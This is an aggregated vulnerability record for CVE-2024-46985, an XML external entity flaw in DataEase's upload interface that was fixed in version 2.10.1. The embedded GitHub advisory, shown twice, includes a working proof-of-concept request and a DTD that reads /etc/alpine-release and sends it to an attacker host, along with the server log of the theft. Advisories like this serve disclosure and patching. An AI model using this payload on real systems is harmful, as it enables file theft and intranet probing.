{"id":"CVE-2024-46985","aliases":["EUVD-2024-2710","GHSA-4m9p-7xg6-f4mm"],"status":"published","title":"DataEase has an XXE vulnerability","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, there is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. The vulnerability has been fixed in v2.10.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00666,"percentile":0.52273,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-611"],"published":"2024-09-23T15:12:21Z","modified":"2026-10-28T02:30:30Z","fixes":[{"ecosystem":"Maven","package":"io.dataease:common","fixed_in":["2.10.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.dataease:common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.10.0"},{"fixed":"2.10.1"}]}]},{"source":"osv","ecosystem":"Maven","package":"io.dataease:common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1"}]}]}],"products":[{"vendor":"dataease","product":"dataease"}],"references":[{"url":"https://github.com/dataease/dataease/security/advisories/GHSA-4m9p-7xg6-f4mm","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-46985","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4m9p-7xg6-f4mm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/46xxx/CVE-2024-46985.json","tags":["advisory"]},{"url":"https://github.com/dataease/dataease","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-46985","title":"DataEase has an XXE vulnerability","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, there is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T15:12:21.539Z","modified":"2024-09-23T15:44:55.968Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T14:34:08.500935Z"}],"euvd":[{"id":"EUVD-2024-2710","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, there is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T15:12:21Z","modified":"2024-09-23T15:44:55Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-03T00:28:16.94122Z"}],"ghsa":[{"id":"GHSA-4m9p-7xg6-f4mm","title":"DataEase has an XML External Entity Reference vulnerability","description":"### Impact\nThere is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.\n\n1. send request:\n```\nPOST /de2api/staticResource/upload/1 HTTP/1.1\nHost: dataease.ubuntu20.vm\nContent-Length: 348\nAccept: application/json, text/plain, */*\nout_auth_platform: default\nX-DE-TOKEN: jwt\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn\n\n------WebKitFormBoundary6OZBNygiUCAZEbMn\nContent-Disposition: form-data; name=\"file\"; filename=\"1.svg\"\nContent-Type: a\n\n\u003c?xml version='1.0'?\u003e\n    \u003c!DOCTYPE xxe [\n        \u003c!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'\u003e\n        %EvilDTD;\n        %LoadOOBEnt;\n        %OOB;\n    ]\u003e\n------WebKitFormBoundary6OZBNygiUCAZEbMn--\n\n// 1.dtd的内容\n\u003c!ENTITY % resource SYSTEM \"file:///etc/alpine-release\"\u003e\n        \u003c!ENTITY % LoadOOBEnt \"\u003c!ENTITY \u0026#x25; OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'\u003e\"\u003e\n```\n\n2. After sending the request, the content of the file /etc/alpine-release is successfully read\n```\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /1.dtd HTTP/1.1\" 200 -\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /?content=3.20.0 HTTP/1.1\" 200 -\n```\n\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n","status":"published","published":"2024-09-23T20:27:22Z","modified":"2024-09-23T20:27:25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T14:38:05.526697Z"}],"nvd":[{"id":"CVE-2024-46985","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, there is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T16:15:06.097Z","modified":"2026-06-17T07:56:19.037Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T14:10:27.456509Z"}],"osv":[{"id":"CVE-2024-46985","title":"DataEase has an XXE vulnerability","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, there is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T15:12:21.539Z","modified":"2026-10-28T02:30:30.272132669Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T15:44:43.253252Z"},{"id":"GHSA-4m9p-7xg6-f4mm","title":"DataEase has an XML External Entity Reference vulnerability","description":"### Impact\nThere is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.\n\n1. send request:\n```\nPOST /de2api/staticResource/upload/1 HTTP/1.1\nHost: dataease.ubuntu20.vm\nContent-Length: 348\nAccept: application/json, text/plain, */*\nout_auth_platform: default\nX-DE-TOKEN: jwt\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn\n\n------WebKitFormBoundary6OZBNygiUCAZEbMn\nContent-Disposition: form-data; name=\"file\"; filename=\"1.svg\"\nContent-Type: a\n\n\u003c?xml version='1.0'?\u003e\n    \u003c!DOCTYPE xxe [\n        \u003c!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'\u003e\n        %EvilDTD;\n        %LoadOOBEnt;\n        %OOB;\n    ]\u003e\n------WebKitFormBoundary6OZBNygiUCAZEbMn--\n\n// 1.dtd的内容\n\u003c!ENTITY % resource SYSTEM \"file:///etc/alpine-release\"\u003e\n        \u003c!ENTITY % LoadOOBEnt \"\u003c!ENTITY \u0026#x25; OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'\u003e\"\u003e\n```\n\n2. After sending the request, the content of the file /etc/alpine-release is successfully read\n```\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /1.dtd HTTP/1.1\" 200 -\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /?content=3.20.0 HTTP/1.1\" 200 -\n```\n\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n","status":"published","published":"2024-09-23T20:27:22Z","modified":"2024-09-23T20:57:26.347116Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T15:46:37.148947Z"}]}}